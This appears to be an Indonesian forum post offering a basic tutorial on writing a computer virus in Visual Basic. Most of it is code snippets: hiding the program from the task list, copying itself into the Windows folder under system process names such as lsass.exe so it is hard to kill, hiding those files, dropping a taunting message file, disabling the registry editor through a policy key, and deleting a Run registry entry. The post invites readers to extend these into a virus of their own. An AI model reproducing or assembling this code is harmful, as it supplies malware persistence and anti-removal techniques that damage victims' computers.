Konsep Dasar Pembuatan Virus Di Visual Basic

kalau thread ini dah ada bisa di close aja gan
Tutor ini hanyalah merupakan suatu pembelajaran , yg berupa konsep dasar dalam pembuatan virus di visual basic ...: .. jadi pada dasarnya syntax dibawah ini nantinya akan kalian kembangkan seprti apa yg kalian inginkan virusnya .... ok langsung aja gan

Pertama, bikin form buat virus kamu pake Standart exe saja
1. menyembunyikan Form

Quote:Private Sub Form_Load()
App.TaskVisible = False
End Sub



2. Copy Diri Sendiri
Misalnya mau dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

Quote:On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”


3. Bikin Direktori ato folder
Misalnya bikin folder di windows direktori

Quote:On Error Resume Next
MkDir “C:\WINDOWS\virus”


4. Mengganti Atribut file
Bisa juga buat ngganti atribut folder

Quote:Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden


Set sembunyi = CreateObject(”Scripting.FileSystemObject”)
On Error Resume Next

Quote:sembunyi.GetFile(”C:\WINDOWS\winlogon.exe”).Attrib utes = 2
sembunyi.GetFile(”C:\WINDOWS\csrss.exe”).Attribute s = 2
sembunyi.GetFile(”C:\WINDOWS\services.exe”).Attrib utes = 2
sembunyi.GetFile(”C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(”C:\WINDOWS\lsass.exe”).Attribute s = 2


tapi kalo folder pakenya
sembunyi.GetFolder(”C:\WINDOWS\”).Attributes = 2

5. Bikin Pesan Virus
Bikin pesen pake text file

Quote:On Error Resume Next
Set bikinpesen = CreateObject(”Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(”C:\baca saya.txt “)
isipesen.writeline (”komputer kamu kena virus bodoh “)
isipesen.Close


6.Ngubah Registry
Misalnya mo disable regedit

Quote:On Error Resume Next
Set ubahreg = CreateObject(”WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”


7.Menghapus Registry

Quote:Misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon

On Error Resume Next
Set hapusreg = CreateObject(”WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”

Nah ... sekian dulu ya .. Selamat belajar !!!!!